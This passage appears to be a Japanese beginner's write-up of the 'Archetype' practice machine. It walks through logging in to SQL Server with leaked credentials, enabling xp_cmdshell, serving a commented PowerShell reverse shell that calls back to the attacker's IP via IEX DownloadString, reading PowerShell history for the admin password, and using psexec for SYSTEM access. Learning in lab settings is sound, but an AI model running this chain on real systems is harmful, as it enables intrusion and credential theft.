         <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
     </DTSConfigurationHeading>
     <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
         <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
     </Configuration>
 </DTSConfiguration>

Password=M3g4c0rp123とUser ID=ARCHETYPE\sql_svcがぱっと見大事そうです。これらはSQL Serverのログイン情報なので、とりあえずSQL Serverへのアクセス手段を整えまるために、impacketというpythonのリポジトリを利用します。

$ sudo apt install python3-pip
$ git clone https://github.com/SecureAuthCorp/impacket.git

これ以降はクローンしたimpacketディレクトリ内で実行します。

$ python3 -m pip install .

これでSQL Serverに接続する準備が整ったので、実際につなげてみます。

SQL Serverへのアクセス

$ cd examples
$ python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

-windows-authはSQL Serverの二つの認証方法(SQL認証とWindows認証)のうちWindows認証を選択するために指定しています。ただ、なぜそれが必要なのかはわかりませんでした*2。

※注意: Walkthroughにはユーザー名(@以前の部分)がARCHETYPE\sql_svcと書かれてありますが、mssqlclientの説明どおりARCHETYPE/sql_svcとしないとログインすることができません('ARCHETYPE\Guest'というユーザー名になってしまう)。

次にログインユーザーがSQL Serverの管理者権限を持っているかどうかを確認します。

SQL> SELECT IS_SRVROLEMEMBER('sysadmin')

 -----------   
 
           1

これで管理者権限をもっていることがわかったので、xp_cmdshellというWindowsのコマンドシェルを起動・実行できるコマンドを有効化します。

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;

有効化したxp_cmdshellでユーザーを以下のコマンドで確認できます。

SQL> xp_cmdshell "whoami"

また次のコマンドの結果からログインしたユーザーが管理者権限をもっていないことが分かります。

SQL> xp_cmdshell "whoami /priv"

権限の確認についてはこちらを参考にしました。

ここから攻撃対象のマシンのシェルを獲得するために、リバースシェルを対象に実行させます。この時の手順は次のようになります。

  1. リバースシェルをホストするためのサーバーを立てる
  2. netcatで接続を待ち受ける
  3. ファイアーウォールの設定を変更して対象マシンからのアクセスを許可する
  4. リバースシェルを対象マシンで実行させる

今回使用するPowershell用のリバースシェルは以下のようになります。Walkthroughに書いてあるやつの意味がわからなかったので、コメントを付け足してあります。

# TCPクライアントを作成
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3", 443)
# データの送受信に使用する NetworkStream を取得
$stream = $client.GetStream()
# 0で初期化された長さ65336のbyte[]型の配列を作成
[byte[]]$bytes = 0..65535|%{0}
# ストリームから取り出したbyte数が0になるまで$byteに読み出す
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    # 読み取ったバイトシーケンスをASCII文字にデコード
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    # iex = Invoke-Expression
    # 読み取った文字列をコマンドとして評価・実行し、結果を格納する
    # その際にエラー出力も標準出力にリダイレクトすることで結果をまとめている 
    $sendback = (iex $data 2>&1 | Out-String)
    # 行末に次の命令のプロンプト # を追加
    $sendback2 = $sendback+"# "
    # $sendback2をバイト列に変換
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    # ストリームに$sendbyteを書き込む
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    # ストリームに$sendbyteを流し込み、結果を攻撃者に送信する
    $stream.Flush()
}
# TCPクライアントを終了
$client.Close()

ただし、IPアドレス10.10.10.3の部分は自分のIPアドレスを書き込んでください。ip aなどで、tun0を見ればVPN接続先のIPアドレスがわかると思います。

サーバーの用意

上のリバースシェルをshell.ps1というファイルに保存しておき、そのファイルがあるフォルダ内でpythonを使ってリバースシェルをホストするためのサーバーを立てます。

$ python3 -m http.server 80

netcat

リバースシェルによってポート443にくる接続を待つための用意をします。

$ nc -lvnp 443

ファイアーウォールの設定

ufwコマンドで対象マシンからポート80と443へのtcpによるアクセスを許可します。

$ ufw allow from 10.10.10.27 proto tcp to any port 80,443

リバースシェルの実行

SQL Server上で次のコマンドを実行することで、リバースシェルを攻略対象のマシンに実行させます。

SQL> xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"

ただし、ここでも10.10.14.3の部分は自分のIPアドレスに変更しておいてください。 実行に成功すれば、netcatで接続を待っているところに接続が来るはずです。何かコマンドを書き込めばプロンプト"#"が表示されると思います。

詰まったところ

僕の場合リバースシェルを実行させるところで次のようなエラーが出ました。

output                                                                             
 
--------------------------------------------------------------------------------   
 
New-Object : The 'New-Object' command was found in the module 'Microsoft.PowerShell.Utility', but the module could not    
 
be loaded. For more information, run 'Import-Module Microsoft.PowerShell.Utility'.   
 
At line:1 char:6                                                                   

+ IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.27/she ...        
 
+      ~~~~~~~~~~                                                                  
 
    + CategoryInfo          : ObjectNotFound: (New-Object:String) [], CommandNotFoundException   
 
    + FullyQualifiedErrorId : CouldNotAutoloadMatchingModule                       
 
                                                                                    
 
NULL

'Microsoft.PowerShell.Utility'がないと言われているので一度

SQL> xp_cmdshell "powershell "Import-Module Microsoft.PowerShell.Utility"

を実行してみましたが、他にもエラーがあったためこれが意味があったかどうかは不明です。

user.txtの獲得

ユーザーsql_svcとしてシェルが実行できるようになったので、デスクトップにあるuser.txtを見に行きます。

# cat C:\Users\sql_svc\Desktop\users.txt

これを提出すれば、USER OWNSに成功です。

root.txtの獲得

次にpowershellのコマンドの履歴を調べてみます。実際には有効で頻繁に行われる方法の一つなのかもしれませんが、初心者の自分にとってこの行動は唐突に感じられました。しかしやってみます。

# cat C:\Users\sql_svc\AppData\Roaming\Microsoft\windows\Powershell\PSReadline\ConsoleHost_history.txt

すると以下が書かれています。

net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit

net use devidename \\computername\sharename /user:username passwordは共有リソースにアクセスできるコマンドであり、ここに書かれているのは管理者のパスワードなので、これを使って権限昇格が可能になります。 impacket/psexec.py(psexec.pyはおそらく遠隔でコマンドを実行できるスクリプト)を使って管理者権限でログインし、管理者のデスクトップに存在するroot.txtの中身を確認します。

$ python3 psexec.py administrator@10.10.10.27
> type C:\Users\Administrator\Desktop\root.txt

これを提出すれば、SYSTEM OWNSに成功です。

感想

初めてのPentestだったので、唐突だったり動機がよくわからない動作がいくつもあるなというのが今回の感想です。おそらくそれらは試行錯誤の結果であったり、これからいくつかのマシンを攻撃する中で身に付く定跡のうちの一つだったりするのだと思うので、数をこなしながら慣れていきたいと思います。

参考

*1:SMBはServer Message Blockの略。Windowsのネットワークでファイル共有やプリンター共有などを行うためのマイクロソフト独自の通信プロトコルのこと。参考はこちら

*2:一応 -windows-auth なしでやるとログインできなかった